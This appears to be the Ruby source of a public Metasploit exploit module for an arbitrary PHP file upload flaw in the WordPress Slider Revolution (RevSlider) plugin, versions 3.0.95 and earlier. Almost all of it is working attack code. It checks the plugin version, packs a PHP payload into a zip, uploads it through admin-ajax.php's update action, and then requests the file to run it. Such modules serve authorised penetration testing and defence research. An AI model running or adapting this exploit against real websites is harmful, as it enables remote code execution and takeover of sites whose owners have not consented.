98 lines
3.6 KiB
Ruby
98 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
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'Description' => %q{
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This module exploits an arbitrary PHP code upload vulnerability in the
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WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
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and prior. The vulnerability allows for arbitrary file upload and remote code execution.
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},
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'Author' =>
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[
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'Simo Ben youssef', # Vulnerability discovery
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'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '115118'],
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['EDB', '35385'],
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['WPVDB', '7954'],
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['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/']
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],
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'Privileged' => false,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
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'DisclosureDate' => 'Nov 26 2014',
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'DefaultTarget' => 0)
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)
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end
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def check
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release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
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check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
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end
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def exploit
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php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
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# Build the zip
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payload_zip = Rex::Zip::Archive.new
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# If the filename in the zip is revslider.php it will be automatically
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# executed but it will break the plugin and sometimes WordPress
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payload_zip.add_file('revslider/' + php_pagename, payload.encoded)
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# Build the POST body
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data = Rex::MIME::Message.new
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data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
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data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
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data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
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post_data = data.to_s
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res = send_request_cgi(
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'uri' => wordpress_url_admin_ajax,
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'method' => 'POST',
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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)
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if res
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if res.code == 200 && res.body =~ /Update in progress/
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# The payload itself almost never deleted, try anyway
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register_files_for_cleanup(php_pagename)
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# This normally works
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register_files_for_cleanup('../revslider.zip')
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final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
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print_good("#{peer} - Our payload is at: #{final_uri}")
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print_status("#{peer} - Calling payload...")
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send_request_cgi(
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'uri' => normalize_uri(final_uri),
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'timeout' => 5
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)
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elsif res.code == 200 && res.body =~ /^0$/
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# admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
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fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
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end
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else
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fail_with(Failure::Unknown, 'ERROR')
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end
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end
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end
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